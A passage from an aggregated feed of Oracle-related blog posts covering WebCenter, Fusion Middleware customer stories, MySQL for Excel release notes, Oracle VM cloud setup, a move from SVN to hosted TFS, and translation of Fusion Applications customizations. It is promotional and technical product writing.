clearly, a general goal of managing metadata across the enterprise is very challenging. We've invested a huge amount of resources around Oracle Metadata Services (MDS) to be able to provide a more generic system for all of these elements. No other vendor has anything like this technology foundation in their products. This provides a huge benefit to our customers as they will now be able to find content, processes, people, and information from a common set of search interfaces with consistent enterprise wide results. Q: Can you give your definition of terms as to document and content, please?A: Content applies to a broad category of information from Word documents, presentations and reports through attachments to invoices and/or purchase orders. Content is essentially any type of digital asset including images, video, and voice. A document is just one type of content. Q: Do you have special integration tools to realize an interaction between UCM and WebCenter Spaces/Services?A: Yes, we've dedicated a whole team of engineers to exploit the key features of Oracle UCM within WebCenter.  While ensuring that WebCenter can connect to other non-Oracle systems, we've made sure that with the combined set of Oracle technology, no other solution can match the combined power and integration.  This is part of the Oracle Fusion Middleware strategy which is to provide best in class capabilities for Content and Portals.  When combined together, the synergy between the two products enables users to quickly add capabilities when they are needed.  For example, simple document sharing is part of the combined product offering, but if legal discovery or archiving is required, Oracle UCM product includes these capabilities that can be quickly added.  There's no need to move content around or add another system to support this, it's just a feature that gets turned on within Oracle UCM. Q: All customers have some interaction with their applications and have many older versions, how do you see some of these new Enterprise 2.0 capabilities adding value to existing enterprise application deployments?A: Just as Service Oriented Architectures allowed for connecting the processes of different applications systems to work together, there's a need for a similar approach with regards to these enterprise 2.0 capabilities. Oracle WebCenter is built on a core architecture that allows for SOA of these Enterprise 2.0 services so that one set of scalable services can be used and integrated directly into any type of application. In this way, users can get immediate value out of the Enterprise 2.0 capabilities without having to wait for the next major release or upgrade. These centrally managed WebCenter services expose a set of standard interfaces that make it extremely easy to add them into existing applications no matter what technology the application has been implemented. Q: We've heard about Oracle Next Generation applications called "Fusion Applications", can you tell me how all this works together?A: Oracle WebCenter powers the core collaboration and social computing services found within Fusion Applications. It is the core user experience technology for how all the application screens have been implemented. And the core concept of task flows allows for all the Fusion Applications modules to be adaptable and composable by business users and IT without needing to be a professional developer. Oracle WebCenter is at the heart of the new Fusion Applications. In addition, the same patterns and technologies are now being added to the existing applications including JD Edwards, Siebel, Peoplesoft, and eBusiness Suite. The core technology enables all these customers to have a much smoother upgrade path to Fusion Applications. They get immediate benefits of injecting new user interactions into their existing applications without having to completely move to Fusion Applications. And then when the time comes, their users will already be well versed in how the new capabilities work. Q: Does any of this work with non Oracle software? Other databases? Other application servers? etc.A: We have made sure that Oracle WebCenter delivers the broadest set of development choices so that no matter what technology you developers are using, WebCenter capabilities can be quickly and easily added to the site or application. In addition, we have certified Oracle WebCenter to run against non-Oracle databases like DB2 and SQLServer. We have stated plans for certification against MySQL as well. Later in CY 2011, Oracle will provide certification on non-Oracle application servers such as WebSphere and JBoss. Q: How do we balance User and IT requirements in regards to Enterprise 2.0 technologies?A: Wrong decisions are often made because employee knowledge is not tapped efficiently and opportunities to innovate are often missed because the right people do not work together. Collaboration amongst workers in the right business context is critical for success. While standalone Enterprise 2.0 technologies can improve collaboration for collaboration's sake, using social collaboration tools in the context of business applications and processes will improve business responsiveness and lead companies to a more competitive position. As these systems become more mission critical it is essential that they maintain the highest level of performance and availability while scaling to support larger communities. Q: What are the ways in which Enterprise 2.0 can improve business responsiveness?A: With a wide range of Enterprise 2.0 tools in the marketplace, CIOs need to deploy solutions that will meet the requirements from users as well as address the requirements from IT. Workers want a next-generation user experience that is personalized and aggregates their daily tools and tasks, while IT needs to ensure the solution is secure, scalable, flexible, reliable and easily integrated with existing systems. An open and integrated approach to deploying portals, content management, and collaboration can enhance your business by addressing both the needs of knowledge workers for better information and the IT mandate to conserve resources by simplifying, consolidating and centralizing infrastructure and administration.  

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• Recap: Oracle Fusion Middleware Strategies Driving Business Innovation

  - by Harish Gaur

  Hasan Rizvi, Executive Vice President of Oracle Fusion Middleware & Java took the stage on Tuesday to discuss how Oracle Fusion Middleware helps enable business innovation. Through a series of product demos and customer showcases, Hassan demonstrated how Oracle Fusion Middleware is a complete platform to harness the latest technological innovations (cloud, mobile, social and Fast Data) throughout the application lifecycle. Fig 1: Oracle Fusion Middleware is the foundation of business innovation This Session included 4 demonstrations to illustrate these strategies: 1. Build and deploy native mobile applications using Oracle ADF Mobile 2. Empower business user to model processes, design user interface and have rich mobile experience for process interaction using Oracle BPM Suite PS6. 3. Create collaborative user experience and integrate social sign-on using Oracle WebCenter Portal, Oracle WebCenter Content, Oracle Social Network & Oracle Identity Management 11g R2 4. Deploy and manage business applications on Oracle Exalogic Nike, LA Department of Water & Power and Nintendo joined Hasan on stage to share how their organizations are leveraging Oracle Fusion Middleware to enable business innovation. Managing Performance in the Wrld of Social and Mobile How do you provide predictable scalability and performance for an application that monitors active lifestyle of 8 million users on a daily basis? Nike’s answer is Oracle Coherence, a component of Oracle Fusion Middleware and Oracle Exadata. Fig 2: Oracle Coherence enabled data grid improves performance of Nike+ Digital Sports Platform Nicole Otto, Sr. Director of Consumer Digital Technology discussed the vision of the Nike+ platform, a platform which represents a shift for NIKE from a  "product"  to  a "product +" experience.  There are currently nearly 8 million users in the Nike+ system who are using digitally-enabled Nike+ devices.  Once data from the Nike+ device is transmitted to Nike+ application, users access the Nike+ website or via the Nike mobile applicatoin, seeing metrics around their daily active lifestyle and even engage in socially compelling experiences to compare, compete or collaborate their data with their friends. Nike expects the number of users to grow significantly this year which will drive an explosion of data and potential new experiences. To deal with this challenge, Nike envisioned building a shared platform that would drive a consumer-centric model for the company. Nike built this new platform using Oracle Coherence and Oracle Exadata. Using Coherence, Nike built a data grid tier as a distributed cache, thereby provide low-latency access to most recent and relevant data to consumers. Nicole discussed how Nike+ Digital Sports Platform is unique in the way that it utilizes the Coherence Grid.  Nike takes advantage of Coherence as a traditional cache using both cache-aside and cache-through patterns.  This new tier has enabled Nike to create a horizontally scalable distributed event-driven processing architecture. Current data grid volume is approximately 150,000 request per minute with about 40 million objects at any given time on the grid. Improving Customer Experience Across Multiple Channels Customer experience is on top of every CIO's mind. Customer Experience needs to be consistent and secure across multiple devices consumers may use.  This is the challenge Matt Lampe, CIO of Los Angeles Department of Water & Power (LADWP) was faced with. Despite being the largest utilities company in the country, LADWP had been relying on a 38 year old customer information system for serving its customers. Their prior system  had been unable to keep up with growing customer demands. Last year, LADWP embarked on a journey to improve customer experience for 1.6million LA DWP customers using Oracle WebCenter platform. Figure 3: Multi channel & Multi lingual LADWP.com built using Oracle WebCenter & Oracle Identity Management platform Matt shed light on his efforts to drive customer self-service across 3 dimensions – new website, new IVR platform and new bill payment service. LADWP has built a new portal to increase customer self-service while reducing the transactions via IVR. LADWP's website is powered Oracle WebCenter Portal and is accessible by desktop and mobile devices. By leveraging Oracle WebCenter, LADWP eliminated the need to build, format, and maintain individual mobile applications or websites for different devices. Their entire content is managed using Oracle WebCenter Content and secured using Oracle Identity Management. This new portal automated their paper based processes to web based workflows for customers. This includes automation of Self Service implemented through My Account -  like Bill Pay, Payment History, Bill History and Usage Analysis. LADWP's solution went live in April 2012. Matt indicated that LADWP's Self-Service Portal has greatly improved customer satisfaction.  In a JD Power Associates website satisfaction survey, results indicate rankings have climbed by 25+ points, marking a remarkable increase in user experience. Bolstering Performance and Simplifying Manageability of Business Applications Ingvar Petursson, Senior Vice Preisdent of IT at Nintendo America joined Hasan on-stage to discuss their choice of Exalogic. Nintendo had significant new requirements coming their way for business systems, both internal and external, in the years to come, especially with new products like the WiiU on the horizon this holiday season. Nintendo needed a platform that could give them performance, availability and ease of management as they deploy business systems. Ingvar selected Engineered Systems for two reasons: 1. High performance  2. Ease of management Figure 4: Nintendo relies on Oracle Exalogic to run ATG eCommerce, Oracle e-Business Suite and several business applications Nintendo made a decision to run their business applications (ATG eCommerce, E-Business Suite) and several Fusion Middleware components on the Exalogic platform. What impressed Ingvar was the "stress” testing results during evaluation. Oracle Exalogic could handle their 3-year load estimates for many functions, which was better than Nintendo expected without any hardware expansion. Faster Processing of Big Data Middleware plays an increasingly important role in Big Data. Last year, we announced at OpenWorld the introduction of Oracle Data Integrator for Hadoop and Oracle Loader for Hadoop which helps in the ability to move, transform, load data to and from Big Data Appliance to Exadata.  This year, we’ve added new capabilities to find, filter, and focus data using Oracle Event Processing. This product can natively integrate with Big Data Appliance or runs standalone. Hasan briefly discussed how NTT Docomo, largest mobile operator in Japan, leverages Oracle Event Processing & Oracle Coherence to process mobile data (from 13 million smartphone users) at a speed of 700K events per second before feeding it Hadoop for distributed processing of big data. Figure 5: Mobile traffic data processing at NTT Docomo with Oracle Event Processing & Oracle Coherence    

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• MySQL for Excel 1.1.3 has been released

  - by Javier Treviño

  The MySQL Windows Experience Team is proud to announce the release of MySQL for Excel version 1.1.3, the  latest addition to the MySQL Installer for Windows. MySQL for Excel is an application plug-in enabling data analysts to very easily access and manipulate MySQL data within Microsoft Excel. It enables you to directly work with a MySQL database from within Microsoft Excel so you can easily do tasks such as: Importing MySQL Data into Excel Exporting Excel data directly into MySQL to a new or existing table Editing MySQL data directly within Excel MySQL for Excel is installed using the MySQL Installer for Windows. The MySQL installer comes in 2 versions   Full (150 MB) which includes a complete set of MySQL products with their binaries included in the download Web (1.5 MB - a network install) which will just pull MySQL for Excel over the web and install it when run.   You can download MySQL Installer from our official Downloads page at http://dev.mysql.com/downloads/installer/. MySQL for Excel 1.1.3 introduces the following features:   Upon saving a Workbook containing Worksheets in Edit Mode, the user is asked if he wants to exit the Edit Mode on all Worksheets before their parent Workbook is saved so the Worksheets are saved unprotected, otherwise the Worksheets will remain protected and the users will be able to unprotect them later retrieving the passkeys from the application log after closing MySQL for Excel. Added background coloring to the column names header row of an Import Data operation to have the same look as the one in an Edit Data operation (i.e. gray-ish background). Connection passwords can be stored securely just like MySQL Workbench does and these secured passwords are shared with Workbench in the same way connections are. Changed the way the MySQL for Excel ribbon toggle button works, instead of just showing or hiding the add-in it actually opens and closes it. Added a connection test before any operation against the database (schema creation, data import, append, export or edition) so the operation dialog is not shown and a friendlier error message is shown.   Also this release contains the following bug fixes:   Added a check on every connection test for an expired password, if the password has been expired a dialog is now shown to the user to reset the password. Bug #17354118 - DON'T HANDLE EXPIRED PASSWORDS Added code to escape text values to be imported to an Excel worksheet that start with an equals sign so Excel does not treat those values as formulas that will fail evaluation. This is an option turned on by default that can be turned off by users if they wish to import values to be treated as Excel formulas. Bug #17354102 - ERROR IMPORTING TEXT VALUES TO EXCEL STARTING WITH AN EQUALS SIGN Added code to properly check the reason for a failing connection, if it's a failing password the user gets a dialog to retry the connection with a different password until the connection succeeds, a connection error not related to the password is thrown or the user cancels. If the failing connection is not related to a bad password an error message is shown to the users indicating the reason of the failure. Bug #16239007 - CONNECTIONS TO MYSQL SERVICES NOT RUNNING DISPLAY A WRONG PASSWORD ERROR MESSAGE Added global options dialog that can be accessed from the Schema Selection and DB Object Selection panels where the timeouts for the connection to the DB Server and for the query commands can be changed from their default values (15 seconds for the connection timeout and 30 seconds for the query timeout). MySQL Bug #68732, Bug #17191646 - QUERY TIMEOUT CANNOT BE ADJUSTED IN MYSQL FOR EXCEL Changed the Varchar(65,535) data type shown in the Export Data data type combo box to Text since the maximum row size is 65,535 bytes and any autodetected column data type with a length greater than 4,000 should be set to Text actually for the table to be created successfully. MySQL Bug #69779, Bug #17191633 - EXPORT FAILS FOR EXCEL FILES CONTAINING > 4000 CHARACTERS OF TEXT PER CELL Removed code that was replacing all spaces typed by the user in an overriden data type for a new column in an Export Data operation, also improved the data type detection code to flag as invalid data types with parenthesis but without any text inside or where the contents inside the parenthesis are not valid for the specific data type. Bug #17260260 - EXPORT DATA SET TYPE NOT WORKING WITH MEMBER VALUES CONTAINING SPACES Added support for the year data type with a length of 2 or 4 and a validation that valid values are integers between 1901-2155 (for 4-digit years) or between 0-99 (for 2-digit years). Bug #17259915 - EXPORT DATA YEAR DATA TYPE NOT RECOGNIZED IF DECLARED WITH A DISPLAY WIDTH) Fixed code for Export Data operations where users overrode the data type for columns typing Text in the data type combobox, which is a valid data type but was not recognized as such. Bug #17259490 - EXPORT DATA TEXT DATA TYPE NOT RECOGNIZED AS A VALID DATA TYPE Changed the location of the registry where the MySQL for Excel add-in is installed to HKEY_LOCAL_MACHINE instead of HKEY_CURRENT_USER so the add-in is accessible by all users and not only to the user that installed it. For this to work with Excel 2007 a hotfix may be required (see http://support.microsoft.com/kb/976477). MySQL Bug #68746, Bug #16675992 - EXCEL-ADD-IN IS ONLY INSTALLED FOR USER ACCOUNT THAT THE INSTALLATION RUNS UNDER Added support for Excel 2013 Single Document Interface, now that Excel 2013 creates 1 window per workbook also the Excel Add-In maintains an independent custom task pane in each window. MySQL Bug #68792, Bug #17272087 - MYSQL FOR EXCEL SIDEBAR DOES NOT APPEAR IN EXCEL 2013 (WITH WORKAROUND) Included the latest MySQL Utility with a code fix for the COM exception thrown when attempting to open Workbench in the Manage Connections window. Bug #17258966 - MYSQL WORKBENCH NOT OPENED BY CLICKING MANAGE CONNECTIONS HOTLABEL Fixed code for Append Data operations that was not applying a calculated automatic mapping correctly when the source and target tables had different number of columns, some columns with the same name but some of those lying on column indexes beyond the limit of the other source/target table. MySQL Bug #69220, Bug #17278349 - APPEND DOESN'T AUTOMATICALLY DETECT EXCEL COL HEADER WITH SAME NAME AS SQL FIELD Fixed some code for Edit Data operations that was escaping special characters twice (during edition in Excel and then upon sending the query to the MySQL server). MySQL Bug #68669, Bug #17271693 - A BACKSLASH IS INSERTED BEFORE AN APOSTROPHE EDITING TABLE WITH MYSQL FOR EXCEL Upgraded MySQL Utility with latest version that encapsulates dialog base classes and introduces more classes to handle Workbench connections, and removed these from the Excel project. Bug #16500331 - CAN'T DELETE CONNECTIONS CREATED WITHIN ADDIN You can access the MySQL for Excel documentation at http://dev.mysql.com/doc/refman/5.6/en/mysql-for-excel.html You can find our team’s blog at http://blogs.oracle.com/MySQLOnWindows. You can also post questions on our MySQL for Excel forum found at http://forums.mysql.com/. Enjoy and thanks for the support!

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• Building an Infrastructure Cloud with Oracle VM for x86 + Enterprise Manager 12c

  - by Richard Rotter

  Cloud Computing? Everyone is talking about Cloud these days. Everyone is explaining how the cloud will help you to bring your service up and running very fast, secure and with little effort. You can find these kinds of presentations at almost every event around the globe. But what is really behind all this stuff? Is it really so simple? And the answer is: Yes it is! With the Oracle SW Stack it is! In this post, I will try to bring this down to earth, demonstrating how easy it could be to build a cloud infrastructure with Oracle's solution for cloud computing.But let me cover some basics first: How fast can you build a cloud?How elastic is your cloud so you can provide new services on demand? How much effort does it take to monitor and operate your Cloud Infrastructure in order to meet your SLAs?How easy is it to chargeback for your services provided? These are the critical success factors of Cloud Computing. And Oracle has an answer to all those questions. By using Oracle VM for X86 in combination with Enterprise Manager 12c you can build and control your cloud environment very fast and easy. What are the fundamental building blocks for your cloud? Oracle Cloud Building Blocks #1 Hardware Surprise, surprise. Even the cloud needs to run somewhere, hence you will need hardware. This HW normally consists of servers, storage and networking. But Oracles goes beyond that. There are Optimized Solutions available for your cloud infrastructure. This is a cookbook to build your HW cloud platform. For example, building your cloud infrastructure with blades and our network infrastructure will reduce complexity in your datacenter (Blades with switch network modules, splitter cables to reduce the amount of cables, TOR (Top Of the Rack) switches which are building the interface to your infrastructure environment. Reducing complexity even in the cabling will help you to manage your environment more efficient and with less risk. Of course, our engineered systems fit into the cloud perfectly too. Although they are considered as a PaaS themselves, having the database SW (for Exadata) and the application development environment (for Exalogic) already deployed on them, in general they are ideal systems to enable you building your own cloud and PaaS infrastructure. #2 Virtualization The next missing link in the cloud setup is virtualization. For me personally, it's one of the most hidden "secret", that oracle can provide you with a complete virtualization stack in terms of a hypervisor on both architectures: X86 and Sparc CPUs. There is Oracle VM for X86 and Oracle VM for Sparc available at no additional  license costs if your are running this virtualization stack on top of Oracle HW (and with Oracle Premier Support for HW). This completes the virtualization portfolio together with Solaris Zones introduced already with Solaris 10 a few years ago. Let me explain how Oracle VM for X86 works: Oracle VM for x86 consists of two main parts: - The Oracle VM Server: Oracle VM Server is installed on bare metal and it is the hypervisor which is able to run virtual machines. It has a very small footprint. The ISO-Image of Oracle VM Server is only 200MB large. It is very small but efficient. You can install a OVM-Server in less than 5 mins by booting the Server with the ISO-Image assigned and providing the necessary configuration parameters (like installing an Linux distribution). After the installation, the OVM-Server is ready to use. That's all. - The Oracle VM-Manager: OVM-Manager is the central management tool where you can control your OVM-Servers. OVM-Manager provides the graphical user interface, which is an Application Development Framework (ADF) application, with a familiar web-browser based interface, to manage Oracle VM Servers, virtual machines, and resources. The Oracle VM Manager has the following capabilities: Create virtual machines Create server pools Power on and off virtual machines Manage networks and storage Import virtual machines, ISO files, and templates Manage high availability of Oracle VM Servers, server pools, and virtual machines Perform live migration of virtual machines I want to highlight one of the goodies which you can use if you are running Oracle VM for X86: Preconfigured, downloadable Virtual Machine Templates form edelivery With these templates, you can download completely preconfigured Virtual Machines in your environment, boot them up, configure them at first time boot and use it. There are templates for almost all Oracle SW and Applications (like Fusion Middleware, Database, Siebel, etc.) available. #3) Cloud Management The management of your cloud infrastructure is key. This is a day-to-day job. Acquiring HW, installing a virtualization layer on top of it is done just at the beginning and if you want to expand your infrastructure. But managing your cloud, keeping it up and running, deploying new services, changing your chargeback model, etc, these are the daily jobs. These jobs must be simple, secure and easy to manage. The Enterprise Manager 12c Cloud provides this functionality from one management cockpit. Enterprise Manager 12c uses Oracle VM Manager to control OVM Serverpools. Once you registered your OVM-Managers in Enterprise Manager, then you are able to setup your cloud infrastructure and manage everything from Enterprise Manager. What you need to do in EM12c is: ">Register your OVM Manager in Enterprise ManagerAfter Registering your OVM Manager, all the functionality of Oracle VM for X86 is also available in Enterprise Manager. Enterprise Manager works as a "Manger" of the Manager. You can register as many OVM-Managers you want and control your complete virtualization environment Create Roles and Users for your Self Service Portal in Enterprise ManagerWith this step you allow users to logon on the Enterprise Manager Self Service Portal. Users can request Virtual Machines in this portal. Setup the Cloud InfrastructureSetup the Quotas for your self service users. How many VMs can they request? How much of your resources ( cpu, memory, storage, network, etc. etc.)? Which SW components (templates, assemblys) can your self service users request? In this step, you basically set up the complete cloud infrastructure. Setup ChargebackOnce your cloud is set up, you need to configure your chargeback mechanism. The Enterprise Manager collects the resources metrics, which are used in a very deep level. Almost all collected Metrics could be used in the chargeback module. You can define chargeback plans based on configurations (charge for the amount of cpu, memory, storage is assigned to a machine, or for a specific OS which is installed) or chargeback on resource consumption (% of cpu used, storage used, etc). Or you can also define a combination of configuration and consumption chargeback plans. The chargeback module is very flexible. Here is a overview of the workflow how to handle infrastructure cloud in EM: Summary As you can see, setting up an Infrastructure Cloud Service with Oracle VM for X86 and Enterprise Manager 12c is really simple. I personally configured a complete cloud environment with three X86 servers and a small JBOD san box in less than 3 hours. There is no magic in it, it is all straightforward. Of course, you have to have some experience with Oracle VM and Enterprise Manager. Experience in setting up Linux environments helps as well. I plan to publish a technical cookbook in the next few weeks. I hope you found this post useful and will see you again here on our blog. Any hints, comments are welcome!

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• Moving from Tortoise to TFS

  - by MarkPearl

  The Past A few years ago my small software company made the jump from storing code on a shared folder to source code control. At the time we had evaluated a few of the options and settled on Tortoise SVN. The main motivation for going the SVN route was that we found a great plugin for Visual Studio that allowed us to avoid the command prompt for uploading changes (like I said we are windows programmers… command prompt bad!! ) and it was free. Up to now we have been pretty happy with SVN as it removed many of the worries that I had about how safe my code was on a shared folder and also gave us the opportunity to safely have several developers work on the same project at the same time. The only times when we have been unhappy has been when we have had SVN hell days – which pretty much occur when you are doing something out of the norm and suddenly SVN just won’t resolve conflicts or something along those lines. This happens once every 4 or 5 months and is not necessarily a problem caused directly by SVN – but a problem augmented by SVN. When you have SVN hell days you want to curse SVN! With that in mind I recently have been relooking at our source code control. I have explored using GIT and was very impressed by it and have also looked at TFS. From a source code control perspective I don’t want to get into a heated discussion on which one is better – but I do want to mention that I wear two hats in my organization – software developer & manager, and with the manager hat on I tend to sway the TFS route. So when I was given a coupon to test DiscountASP.Net Team Foundation Server Service for a year, I thought it was the perfect opportunity to try TFS in a distributed environment and also make the first step towards having an integrated development management system. Some of the things that appeal to me about DiscountASP’s offering are the following… Basic management / planning facilities like to do lists inside Visual Studio Daily backup of data on the server – we are developers, not IT managers and so the more of this I could outsource the better Distributed solution – all of us work remotely and so this was a big one as well. Registering and Setting Up with DiscountASP.NET The whole registration process was simple and intuitive. The web interface is not the most visually impressive one, but it is functional and a few seconds after I clicked the last submit button a email was sitting in my inbox giving me my control panel username and suggesting that I read the “Getting Started” article. The getting started article was easy to read and understand so no complaints there either. Next to set my dev environment to work. With a few references to the getting started article I had completed the whole setup process in a matter of minutes. Ten minutes after initiating the whole thing I was logged into VS2010 and creating my first TFS project. With the service that I signed up for, I have access for 5 users – which is sufficient for my internal needs. So from what I can tell, to set the rest of us up on the system I just need to supply them with their user credentials and url. My Concerns Resolved 1) Security So, a few concerns I had about the service. First and foremost – is it secure? I would hate for someone to get access to our code and the whole idea of putting it up on the internet is a concern for me. Turning to the Knowledge Base on the DiscountASP website this is one of the first question I can see answered. According to them it is secure. I have extracted their comment below regarding this. Our TFS hosting service is secure. We only accept HTTPS connections ensuring that any client-server data transmission is encrypted. At the network level, all of our systems are protected by multiple Juniper firewalls, Tipping Point's Intrusion Detection System (see Tipping Point's case study of our use here), and we also employ DDoS mitigation to add extra layers of security. Additionally, physical access to the servers is tightly restricted. Please see the security section of this Knowledge Base article for further details. 2) Web Portal Access The other big concern I have is regarding web portal access. In the ideal world I would like to be able to give my end users access to a web portal for reporting bugs etc. When I initially read through the FAQ of the site it mentioned that there was web portal access – but from what I can see this is just for “users”. Since I am limited to 5 users for the account, it would not be practical to set up external users that we could get feedback from on bugs etc. I would be interested if this is possible – and if so if someone could post it in the comments it would be much appreciated. If this isn’t possible, it is a slight let down as we rely heavily on end user feedback to get feedback and it would have been ideal to have gotten this within the service. Other than those two items, I didn’t have any real concerns that were unresolved. So where do I go from here? So time passed by from the initial writing of this post and as work whirred in and out of my inbox I have still not had a proper opportunity to give the service a test run. Recently though things have began to slow down and then surprise surprise I had another SVN Hell day. With that experience I had a new found resolve to get our team on TFS and so today we are going to start to use the service as a team. I am hoping that I do not have TFS hell days – but if I do, I will be sure to write about them. In short - the verdict is still out on whether this service is going to be invaluable to my business or whether it will create more headaches than it is worth BUT I am hopping it will be an invaluable service. I will only really be able to determine that in a few months… till then!

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• Translating Your Customizations

  - by Richard Bingham

  This blog post explains the basics of translating the customizations you can make to Fusion Applications products, with the inclusion of information for both composer-based customizations and the generic design-time customizations done via JDeveloper. Introduction Like most Oracle Applications, Fusion Applications installs on-premise with a US-English base language that is, in Release 7, supported by the option to add up to a total of 22 additional language packs (In Oracle Cloud production environments languages are pre-installed already). As such many organizations offer their users the option of working with their local language, and logically that should also apply for any customizations as well. Composer-based UI Customizations Customizations made in Page Composer take into consideration the session LOCALE, as set in the user preferences screen, during all customization work, and stores the customization in the MDS repository accordingly. As such the actual new or changed values used will only apply for the same language under which the customization was made, and text for any other languages requires a separate upload. See the Resource Bundles section below, which incidentally also applies to custom UI changes done in JDeveloper. You may have noticed this when you select the “Select Text Resource” menu option when editing the text on a page. Using this ensures that the resource bundles are used, whereas if you define a static value in Expression Builder it will never be available for translation. Notice in the screenshot below the “What’s New” custom value I have already defined using the ‘Select Text Resource’ feature is internally using the adfBundle groovy function to pull the custom value for my key (RT_S_1) from the ComposerOverrideBundle. Figure 1 – Page Composer showing the override bundle being used. Business Objects Customizing the Business Objects available in the Applications Composer tool for the CRM products, such as adding additional fields, also operates using the session language. Translating these additional values for these fields into other installed languages requires loading additional resource bundles, again as described below. Reports and Analytics Most customizations to Reports and BI Analytics are just essentially reorganizations and visualizations of existing number and text data from the system, and as such will use the appropriate values based on the users session language. Where a translated value or string exists for that session language, it will be used without the need for additional work. Extending through the addition of brand new reports and analytics requires another method of loading the translated strings, as part of what is known as ‘Localizing’ the BI Catalog and Metadata. This time it is via an export/import of XML data through the BI Administrators console, and is described in the OBIEE Admin Guide. Fusion Applications reports based on BI Publisher are already defined in template-per-locale, and in addition provide an extra process for getting the data for translation and reloading. This again uses the standard resource bundle format. Loading a custom report is illustrated in this video from our YouTube channel which shows the screen for both setting the template local and running an export for translation. Fusion Applications Menus Whilst the seeded Navigator and Global Menu values are fully translated when the additional language is installed, if they are customized then the change or new menu item will apply universally, not currently per language. This is set to change in a future release with the new UI Text Editor feature described below. More on Resource Bundles As mentioned above, to provide translations for most of your customizations you need to add values to a resource bundle. This is an industry open standard (OASIS) format XML file with the extension .xliff, and store translated values for the strings used by ADF at run-time. The general process is that these values are exported from the MDS repository, manually edited, and then imported back in again.This needs to be done by an administrator, via either WLST commands or through Enterprise Manager as per the screenshot below. This is detailed out in the Fusion Applications Extensibility Guide. For SaaS environments the Cloud Operations team can assist. Figure 2 – Enterprise Manager’s MDS export used getting resource bundles for manual translation and re-imported on the same screen. All customized strings are stored in an override bundle (xliff file) for each locale, suffixed with the language initials, with English ones being saved to the default. As such each language bundle can be easily identified and updated. Similarly if you used JDeveloper to create your own applications as extensions to Fusion Applications you would use the native support for resource bundles, and add them into the faces-config.xml file for inclusion in your application. An example is this ADF customization video from our YouTube channel. JDeveloper also supports automatic synchronization between your underlying resource bundles and any translatable strings you add – very handy. For more information see chapters on “Using Automatic Resource Bundle Integration in JDeveloper” and “Manually Defining Resource Bundles and Locales” in the Oracle Fusion Middleware Web User Interface Developer’s Guide for Oracle Application Development Framework. FND Messages and Look-ups FND Messages, as defined here, are not used for UI labels (they are known as ‘strings’), but are the responses back to users as a result of an action, such as from a page submit. Each ‘message’ is defined and stored in the related database table (FND_MESSAGES_B), with another (FND_MESSAGES_TL) holding any language-specific values. These come seeded with the additional language installs, however if you customize the messages via the “Manage Messages” task in Functional Setup Manager, or add new ones, then currently (in Release 7) you’ll need to repeat it for each language. Figure 3 – An FND Message defined in an English user session. Similarly Look-ups are stored in a translation table (FND_LOOKUP_VALUES_TL) where appropriate, and can be customized by setting the users session language and making the change  in the Setup and Maintenance task entitled “Manage [Standard|Common] Look-ups”. Online Help Yes, in fact all the seeded help is applied as part of each language pack install as part of the post-install provisioning process. If you are editing or adding custom online help then the Create Help screen provides a drop-down of which language your help customization will apply to. This is shown in the video below from our YouTube channel, and obviously you’ll need to it for each language in use. What is Coming for Translations? Currently planned for Release 8 is something called the User Interface (UI) Text Editor. This tool will allow the editing of all the text shown on the pages and forms of Fusion Application. This will provide a search based on a particular term or word, say “Worker”, and will allow it to be adjusted, say to “Employee”, which then updates all the Resource Bundles that contain it. In the case of multi-language environments, it will use the users session language (locale) to know which Resource Bundles to apply the change to. This capability will also support customization sandboxes, to help ensure changes can be tested and approved.  It is also interesting to note that the design currently allows any page-specific customizations done using Page Composer or Application Composer to over-write the global changes done via the UI Text Editor, allowing for special context-sensitive values to still be used. Further Reading and Resources The following short list provides the mains resources for digging into more detail on translation support for both Composer and JDeveloper customization projects. There is a dedicated chapter entitled “Translating Custom Text” in the Fusion Applications Extensibility Guide. This has good examples and steps for many tasks, especially administering resource bundles. Using localization formatting (numbers, dates etc) for design-time changes is well documented in the Fusion Applications Developer Guide. For more guidelines on general design-time globalization, see either the ‘Internationalizing and Localizing Pages’ chapter in the Oracle Fusion Middleware Web User Interface Developer’s Guide for Oracle Application Development Framework (Oracle Fusion Applications Edition) or the general Oracle Database Globalization Support Guide. The Oracle Architecture ‘A-Team’ provided a recent post on customizing the user session timeout popup, using design-time changes to resource bundles. It has detailed step-by-step examples which can be a useful illustration.

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• Webcast Q&A: Qualcomm Provides a Seamless Experience for Customers with Oracle WebCenter

  - by kellsey.ruppel

  Last Thursday we had the second webcast in our WebCenter in Action webcast series, "Qualcomm Provides a Seamless Experience for Customers with Oracle WebCenter, where customer Michael Chander from Qualcomm and Vince Casarez & Gourav Goyal from Oracle Partner Keste shared how Oracle WebCenter is powering Qualcomm’s externally facing website and providing a seamless experience for their customers. In case you missed it, here's a recap of the Q&A.   Mike Chandler, Qualcomm Q: Did you run into any issues when integrating all of the different applications together?A: Definitely, our main challenges were in the area of user provisioning and security propagation, all the standard stuff you might expect when hooking up SSO for authentication and authorization. In addition, we spent several iterations getting the UI’s in sync. While everyone was given the same digital material to build too, each team interpreted and implemented it their own way. Initially as a user navigated, if you were looking for it, you could slight variations in color or font or width , stuff like that. So we had to pull all the developers responsible for the UI together and get pixel level agreement on a lot of things so we could ensure seamless transitions across applications. Q: What has been the biggest benefit your end users have seen?A: Wow, there have been several. An SSO enabled environment was huge a win for our users. The portal application that this replaced had not really been invested in by the business. With this project, we had full business participation and backing, and it really showed in some key areas like the shopping experience. For example, while ordering in the previous site, the items did not have any pictures or really usable descriptions. A tremendous amount of work was done to try and make the site more intuitive and user friendly. Site performance has also drastically improved thanks to new hardware, improved database design, and of course the fact that ADF has made great strides in runtime performance. Q: Was there any resistance internally when implementing the solution? If so, how did you overcome that?A: Within a large company, I’m sure there is always going to be competition for large projects, as there was here. Once we got through the technical analysis and settled on the technology choices, it was actually no resistance to implementing the solution. This project was fully driven by the business with the aim of long term growth. I can confidently say that the fact that this project was given the utmost importance by both the business and IT really help put down any resistance that you would typically see while implementing a new solution. Q: Given the performance, what do you estimate to be the top end capacity of the system? A:I think our top end capacity is really only limited by our hardware. I’m comfortable saying we could grow 10x on our current hardware, both in terms of transactions and users. We can easily spin up new JVM instances if needed. We already use less JVM’s than we had planned. In addition, ADF is doing a very good job with his connection pooling and application module pooling, so we see a very good ratio of users connected to the systems vs db connections, without impacting performace. Q: What's the overview or summary of feedback from the users interacting with the site?A: Feedback has been overwhelmingly positive from both the business and our customers. They’re very happy with the new SSO environment , the new LAF, and the performance of the site. Of course, it’s not all roses. No matter what, there are always going to be people that don’t like the layout or the color scheme, etc. By and large though, customers are happy and the business is happy. Q: Can you describe the impressions about the site before and after the project within Qualcomm?A: Before the project, the site worked and people were using it, but most people were not happy with it. It was slow and tended to be a bit tempermental, for example a user would perform a transaction and the system would throw and 